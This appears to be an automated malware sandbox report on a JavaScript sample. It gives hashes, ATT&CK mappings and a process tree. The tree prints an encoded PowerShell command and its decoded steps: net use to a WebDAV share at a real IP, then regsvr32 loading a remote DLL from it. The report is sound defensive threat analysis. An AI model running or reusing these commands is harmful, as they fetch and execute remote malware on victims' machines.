20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74

Analysis

max time kernel
93s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14/11/2024, 02:11

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General

Target
20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js
Size 1.6MB
Sample241114-cmjetswpgp
SHA256 20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74
MD5 bae204a687fd5f7dc29dd82e51ae085b
SHA1 dcf4b0f1cbd08002dce18a01d8f5d1eeae8bfc8a
SHA512 9d0b1099f782d949f756d3987f61479dabd3f41ddb56b61b55feb2cda2a341ea3b1a43e48cb4adcf06da590f9caf3123e61eeb01a5f02c227c8dec10ad313051
SSDEEP 24576:Us9MhhwQhD8I9YgygaXziWqE9oGzJWPan2Yhxp:V
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1132	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4800	powershell.exe
4800	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4800	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4228 wrote to memory of 4800	4228	wscript.exe	83
PID 4228 wrote to memory of 4800	4228	wscript.exe	83
PID 4800 wrote to memory of 1132	4800	powershell.exe	85
PID 4800 wrote to memory of 1132	4800	powershell.exe	85
PID 4800 wrote to memory of 2368	4800	powershell.exe	87
PID 4800 wrote to memory of 2368	4800	powershell.exe	87
PID 2368 wrote to memory of 1616	2368	cmd.exe	88
PID 2368 wrote to memory of 1616	2368	cmd.exe	88
PID 4800 wrote to memory of 4244	4800	powershell.exe	89
PID 4800 wrote to memory of 4244	4800	powershell.exe	89
PID 4244 wrote to memory of 2648	4244	cmd.exe	90
PID 4244 wrote to memory of 2648	4244	cmd.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADcAMQAwADEANgA2ADUANQAyADIANQAxADAALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\timeout.exe
    "C:\Windows\system32\timeout.exe" 1
    3⤵
    - Delays execution with timeout.exe
    PID:1132
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Windows\system32\net.exe
      net use \\94.159.113.79@8888\davwwwroot\
      4⤵
      PID:1616
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4244
  - - C:\Windows\system32\regsvr32.exe
      regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll
      4⤵
      PID:2648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_fzyzrqf4.lny.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fzyzrqf4.lny.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4800-0-0x00007FFFFDBF3000-0x00007FFFFDBF5000-memory.dmp

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memory/4800-6-0x000001E678F90000-0x000001E678FB2000-memory.dmp

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memory/4800-11-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

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memory/4800-12-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

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memory/4800-15-0x00007FFFFDBF0000-0x00007FFFFE6B1000-memory.dmp

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